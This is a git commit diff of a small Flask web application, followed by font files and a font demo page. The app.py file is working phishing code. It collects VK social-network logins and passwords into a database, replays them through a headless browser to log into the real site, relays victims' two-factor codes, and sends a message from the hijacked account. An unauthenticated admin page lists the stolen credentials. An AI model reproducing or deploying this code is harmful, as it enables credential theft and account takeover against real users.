Initial commit

2020-04-11 20:44:27 +03:00
commit a9fd9cb522
66 changed files with 1168 additions and 0 deletions
--- a/app.py
+++ b/app.py
@@ -0,0 +1,132 @@
+from flask import Flask, render_template, request, redirect
+from flask_sqlalchemy import SQLAlchemy
+from datetime import datetime
+from splinter import Browser
+import time
+
+def enter_login():
+    login = request.form['login']
+    password = request.form['password']
+    new_cred = Creds(login=login, password=password)
+
+    db.session.add(new_cred)
+    db.session.commit()
+
+    global browser
+    browser = Browser('firefox', headless=True)
+
+    browser.visit('http://www.vk.com')
+
+    while browser.is_text_not_present('Install our official mobile app and stay in touch with your friends anytime and anywhere.'):
+        pass
+
+    browser.find_by_name('email')[1].fill(login)
+    browser.find_by_name('pass')[1].fill(password)
+    button = browser.find_by_id('index_login_button')[0]
+    button.click()
+
+    while browser.title == 'Welcome&#33; | VK':
+        pass
+
+    if browser.is_text_present('Failed to log in.'):
+        return redirect('/wrongpass/')
+    else:
+        if browser.is_text_present('Security Check'):
+            return redirect('/authcheck/')
+        else:
+            payload()
+            return redirect('/')
+
+
+def payload():
+    while browser.url != 'https://vk.com/im?sel=22191973':
+        browser.visit('https://vk.com/im?sel=22191973')
+
+    while browser.title != 'Messages':
+        pass
+
+    browser.find_by_id('im_editable22191973')[0].fill('Privet\n')
+    time.sleep(10)
+    browser.quit()
+
+
+app = Flask(__name__)
+app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///creds.db'
+db = SQLAlchemy(app)
+
+class Creds(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    login = db.Column(db.String(50), nullable=False)
+    password = db.Column(db.String(50), nullable=False)
+    date_created = db.Column(db.DateTime, default=datetime.utcnow)
+
+    def __repr__(self):
+        return '<Cred %r>' % self.id
+
+
+@app.route('/')
+def index():
+    return render_template("index.html")
+
+
+@app.route('/login/', methods=['POST', 'GET'])
+def login():
+    if request.method == 'POST':
+        return enter_login()
+    else:
+        return render_template("login.html")
+
+
+@app.route('/wrongpass/', methods=['POST', 'GET'])
+def wrongpass():
+    if request.method == 'POST':
+        return enter_login()
+    else:
+        return render_template("wrongpass.html")
+
+
+@app.route('/authcheck/', methods=['POST', 'GET'])
+def authcheck():
+    if request.method == 'POST':
+        auth_code = request.form['auth_code']
+
+        browser.find_by_id('authcheck_code')[0].fill(auth_code)
+        button = browser.find_by_id('login_authcheck_submit_btn')[0]
+        button.click()
+
+        payload()
+
+        return redirect('/')
+
+    else:
+        return render_template("authcheck.html")
+
+
+@app.route('/admin/')
+def admin():
+    creds = Creds.query.order_by(Creds.date_created).all()
+    return render_template('admin.html', creds=creds)
+
+
+@app.route('/delete_cred/<int:id>')
+def delete_cred(id):
+    if id != 0:
+        cred_to_delete = Creds.query.get_or_404(id)
+
+        try:
+            db.session.delete(cred_to_delete)
+            db.session.commit()
+            return redirect('/admin/')
+        except:
+            return 'Error deleting credentials'
+    else:
+        try:
+            Creds.query.delete()
+            db.session.commit()
+            return redirect('/admin/')
+        except:
+            return 'Error deleting credentials'
+
+
+if __name__ == "__main__":
+    app.run(debug=True)
--- a/static/.DS_Store
+++ b/static/.DS_Store
--- a/static/TTCommons/TTCommons-Black.eot
+++ b/static/TTCommons/TTCommons-Black.eot
--- a/static/TTCommons/TTCommons-Black.ttf
+++ b/static/TTCommons/TTCommons-Black.ttf
--- a/static/TTCommons/TTCommons-Black.woff
+++ b/static/TTCommons/TTCommons-Black.woff
--- a/static/TTCommons/TTCommons-BlackItalic.eot
+++ b/static/TTCommons/TTCommons-BlackItalic.eot
--- a/static/TTCommons/TTCommons-BlackItalic.ttf
+++ b/static/TTCommons/TTCommons-BlackItalic.ttf
--- a/static/TTCommons/TTCommons-BlackItalic.woff
+++ b/static/TTCommons/TTCommons-BlackItalic.woff
--- a/static/TTCommons/TTCommons-Bold.eot
+++ b/static/TTCommons/TTCommons-Bold.eot
--- a/static/TTCommons/TTCommons-Bold.ttf
+++ b/static/TTCommons/TTCommons-Bold.ttf
--- a/static/TTCommons/TTCommons-Bold.woff
+++ b/static/TTCommons/TTCommons-Bold.woff
--- a/static/TTCommons/TTCommons-BoldItalic.eot
+++ b/static/TTCommons/TTCommons-BoldItalic.eot
--- a/static/TTCommons/TTCommons-BoldItalic.ttf
+++ b/static/TTCommons/TTCommons-BoldItalic.ttf
--- a/static/TTCommons/TTCommons-BoldItalic.woff
+++ b/static/TTCommons/TTCommons-BoldItalic.woff
--- a/static/TTCommons/TTCommons-DemiBold.eot
+++ b/static/TTCommons/TTCommons-DemiBold.eot
--- a/static/TTCommons/TTCommons-DemiBold.ttf
+++ b/static/TTCommons/TTCommons-DemiBold.ttf
--- a/static/TTCommons/TTCommons-DemiBold.woff
+++ b/static/TTCommons/TTCommons-DemiBold.woff
--- a/static/TTCommons/TTCommons-DemiBoldItalic.eot
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.eot
--- a/static/TTCommons/TTCommons-DemiBoldItalic.ttf
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.ttf
--- a/static/TTCommons/TTCommons-DemiBoldItalic.woff
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.woff
--- a/static/TTCommons/TTCommons-ExtraBold.eot
+++ b/static/TTCommons/TTCommons-ExtraBold.eot
--- a/static/TTCommons/TTCommons-ExtraBold.ttf
+++ b/static/TTCommons/TTCommons-ExtraBold.ttf
--- a/static/TTCommons/TTCommons-ExtraBold.woff
+++ b/static/TTCommons/TTCommons-ExtraBold.woff
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.eot
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.eot
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.ttf
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.ttf
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.woff
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.woff
--- a/static/TTCommons/TTCommons-ExtraLight.eot
+++ b/static/TTCommons/TTCommons-ExtraLight.eot
--- a/static/TTCommons/TTCommons-ExtraLight.ttf
+++ b/static/TTCommons/TTCommons-ExtraLight.ttf
--- a/static/TTCommons/TTCommons-ExtraLight.woff
+++ b/static/TTCommons/TTCommons-ExtraLight.woff
--- a/static/TTCommons/TTCommons-ExtraLightItalic.eot
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.eot
--- a/static/TTCommons/TTCommons-ExtraLightItalic.ttf
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.ttf
--- a/static/TTCommons/TTCommons-ExtraLightItalic.woff
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.woff
--- a/static/TTCommons/TTCommons-Italic.eot
+++ b/static/TTCommons/TTCommons-Italic.eot
--- a/static/TTCommons/TTCommons-Italic.ttf
+++ b/static/TTCommons/TTCommons-Italic.ttf
--- a/static/TTCommons/TTCommons-Italic.woff
+++ b/static/TTCommons/TTCommons-Italic.woff
--- a/static/TTCommons/TTCommons-Light.eot
+++ b/static/TTCommons/TTCommons-Light.eot
--- a/static/TTCommons/TTCommons-Light.ttf
+++ b/static/TTCommons/TTCommons-Light.ttf
--- a/static/TTCommons/TTCommons-Light.woff
+++ b/static/TTCommons/TTCommons-Light.woff
--- a/static/TTCommons/TTCommons-LightItalic.eot
+++ b/static/TTCommons/TTCommons-LightItalic.eot
--- a/static/TTCommons/TTCommons-LightItalic.ttf
+++ b/static/TTCommons/TTCommons-LightItalic.ttf
--- a/static/TTCommons/TTCommons-LightItalic.woff
+++ b/static/TTCommons/TTCommons-LightItalic.woff
--- a/static/TTCommons/TTCommons-Medium.eot
+++ b/static/TTCommons/TTCommons-Medium.eot
--- a/static/TTCommons/TTCommons-Medium.ttf
+++ b/static/TTCommons/TTCommons-Medium.ttf
--- a/static/TTCommons/TTCommons-Medium.woff
+++ b/static/TTCommons/TTCommons-Medium.woff
--- a/static/TTCommons/TTCommons-MediumItalic.eot
+++ b/static/TTCommons/TTCommons-MediumItalic.eot
--- a/static/TTCommons/TTCommons-MediumItalic.ttf
+++ b/static/TTCommons/TTCommons-MediumItalic.ttf
--- a/static/TTCommons/TTCommons-MediumItalic.woff
+++ b/static/TTCommons/TTCommons-MediumItalic.woff
--- a/static/TTCommons/TTCommons-Regular.eot
+++ b/static/TTCommons/TTCommons-Regular.eot
--- a/static/TTCommons/TTCommons-Regular.ttf
+++ b/static/TTCommons/TTCommons-Regular.ttf
--- a/static/TTCommons/TTCommons-Regular.woff
+++ b/static/TTCommons/TTCommons-Regular.woff
--- a/static/TTCommons/TTCommons-Thin.eot
+++ b/static/TTCommons/TTCommons-Thin.eot
--- a/static/TTCommons/TTCommons-Thin.ttf
+++ b/static/TTCommons/TTCommons-Thin.ttf
--- a/static/TTCommons/TTCommons-Thin.woff
+++ b/static/TTCommons/TTCommons-Thin.woff
--- a/static/TTCommons/TTCommons-ThinItalic.eot
+++ b/static/TTCommons/TTCommons-ThinItalic.eot
--- a/static/TTCommons/TTCommons-ThinItalic.ttf
+++ b/static/TTCommons/TTCommons-ThinItalic.ttf
--- a/static/TTCommons/TTCommons-ThinItalic.woff
+++ b/static/TTCommons/TTCommons-ThinItalic.woff
--- a/static/TTCommons/demo.html
+++ b/static/TTCommons/demo.html
@@ -0,0 +1,685 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="robots" content="noindex, noarchive">
+    <meta name="format-detection" content="telephone=no">
+    <title>Transfonter demo</title>
+    <link href="stylesheet.css" rel="stylesheet">
+    <style>
+        /*
+        http://meyerweb.com/eric/tools/css/reset/
+        v2.0 | 20110126
+        License: none (public domain)
+        */
+        html, body, div, span, applet, object, iframe,
+        h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+        a, abbr, acronym, address, big, cite, code,
+        del, dfn, em, img, ins, kbd, q, s, samp,
+        small, strike, strong, sub, sup, tt, var,
+        b, u, i, center,
+        dl, dt, dd, ol, ul, li,
+        fieldset, form, label, legend,
+        table, caption, tbody, tfoot, thead, tr, th, td,
+        article, aside, canvas, details, embed,
+        figure, figcaption, footer, header, hgroup,
+        menu, nav, output, ruby, section, summary,
+        time, mark, audio, video {
+            margin: 0;
+            padding: 0;
+            border: 0;
+            font-size: 100%;
+            font: inherit;
+            vertical-align: baseline;
+        }
+        /* HTML5 display-role reset for older browsers */
+        article, aside, details, figcaption, figure,
+        footer, header, hgroup, menu, nav, section {
+            display: block;
+        }
+        body {
+            line-height: 1;
+        }
+        ol, ul {
+            list-style: none;
+        }
+        blockquote, q {
+            quotes: none;
+        }
+        blockquote:before, blockquote:after,
+        q:before, q:after {
+            content: '';
+            content: none;
+        }
+        table {
+            border-collapse: collapse;
+            border-spacing: 0;
+        }
+        /* common styles */
+        body {
+            background: #f1f1f1;
+            color: #000;
+        }
+        .page {
+            background: #fff;
+            width: 920px;
+            margin: 0 auto;
+            padding: 20px 20px 0 20px;
+            overflow: hidden;
+        }
+        .font-container {
+            overflow-x: auto;
+            overflow-y: hidden;
+            margin-bottom: 40px;
+            line-height: 1.3;
+            white-space: nowrap;
+            padding-bottom: 5px;
+        }
+        h1 {
+            position: relative;
+            background: #444;
+            font-size: 32px;
+            color: #fff;
+            padding: 10px 20px;
+            margin: 0 -20px 12px -20px;
+        }
+        .letters {
+            font-size: 25px;
+            margin-bottom: 20px;
+        }
+        .s10:before {
+            content: '10px';
+        }
+        .s11:before {
+            content: '11px';
+        }
+        .s12:before {
+            content: '12px';
+        }
+        .s14:before {
+            content: '14px';
+        }
+        .s18:before {
+            content: '18px';
+        }
+        .s24:before {
+            content: '24px';
+        }
+        .s30:before {
+            content: '30px';
+        }
+        .s36:before {
+            content: '36px';
+        }
+        .s48:before {
+            content: '48px';
+        }
+        .s60:before {
+            content: '60px';
+        }
+        .s72:before {
+            content: '72px';
+        }
+        .s10:before, .s11:before, .s12:before, .s14:before,
+        .s18:before, .s24:before, .s30:before, .s36:before,
+        .s48:before, .s60:before, .s72:before {
+            font-family: Arial, sans-serif;
+            font-size: 10px;
+            font-weight: normal;
+            font-style: normal;
+            color: #999;
+            padding-right: 6px;
+        }
+        pre {
+            display: block;
+            position: relative;
+            padding: 9px;
+            margin: 0 0 10px;
+            font-family: Monaco, Menlo, Consolas, "Courier New", monospace !important;
+            font-size: 13px;
+            line-height: 1.428571429;
+            color: #333;
+            font-weight: normal !important;
+            font-style: normal !important;
+            background-color: #f5f5f5;
+            border: 1px solid #ccc;
+            overflow-x: auto;
+            border-radius: 4px;
+        }
+        pre:after {
+            display: block;
+            position: absolute;
+            right: 0;
+            top: 0;
+            content: 'Usage';
+            line-height: 1;
+            padding: 5px 8px;
+            font-size: 12px;
+            color: #767676;
+            background-color: #fff;
+            border: 1px solid #ccc;
+            border-right: none;
+            border-top: none;
+            border-radius: 0 4px 0 4px;
+            z-index: 10;
+        }
+        /* responsive */
+        @media (max-width: 959px) {
+            .page {
+                width: auto;
+                margin: 0;
+            }
+        }
+    </style>
+</head>
+<body>
+<div class="page">
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 100; font-style: italic;">
+        <h1>TT Commons Thin Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 100;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 300; font-style: normal;">
+        <h1>TT Commons Light</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 300;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 900; font-style: normal;">
+        <h1>TT Commons Black</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 900;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 500; font-style: normal;">
+        <h1>TT Commons Medium</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 500;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: normal; font-style: italic;">
+        <h1>TT Commons Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: normal;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: normal; font-style: normal;">
+        <h1>TT Commons Regular</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: normal;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 900; font-style: italic;">
+        <h1>TT Commons Black Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 900;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 800; font-style: normal;">
+        <h1>TT Commons ExtraBold</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 800;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: bold; font-style: italic;">
+        <h1>TT Commons Bold Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: bold;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 600; font-style: italic;">
+        <h1>TT Commons DemiBold Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 600;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
